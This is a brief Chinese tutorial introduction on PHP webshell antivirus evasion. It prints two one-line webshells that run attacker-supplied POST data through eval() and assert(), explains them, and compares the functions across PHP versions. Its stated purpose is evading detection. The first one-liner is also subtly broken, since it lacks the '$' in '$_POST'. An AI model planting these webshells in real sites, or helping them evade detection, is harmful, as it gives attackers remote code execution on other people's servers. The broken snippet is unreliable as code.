0x01 简介

本文以PHP为例,简单学习一下PHP免杀的过程

0x02 PHP一句话的两种形式

我接触到的第一个webshell就是以eval()函数形式输出的,也是最常见的php webshell

  1. <?php eval(@_POST['pass']); ?>

简单分析一下这行php代码:

  1. eval()是php命令执行函数
  2. 通过POST方式传递参数pass
  3. eval函数把接收的数据当作PHP代码来执行
  4. 这是最常见也是最容易被杀掉的webshell

php一句话webshell还有另外一种形式:利用assert()函数

<?php assert(@$_POST['a']); ?>

eval()和assert()函数在不同PHP版本中的差异:

函数 说明
eval() PHP 4, PHP 5, PHP 7+ 均可用,接受一个参数,将字符串作为PHP代码执行
assert() PHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数,php 5.4.8版本后可以接受两个参数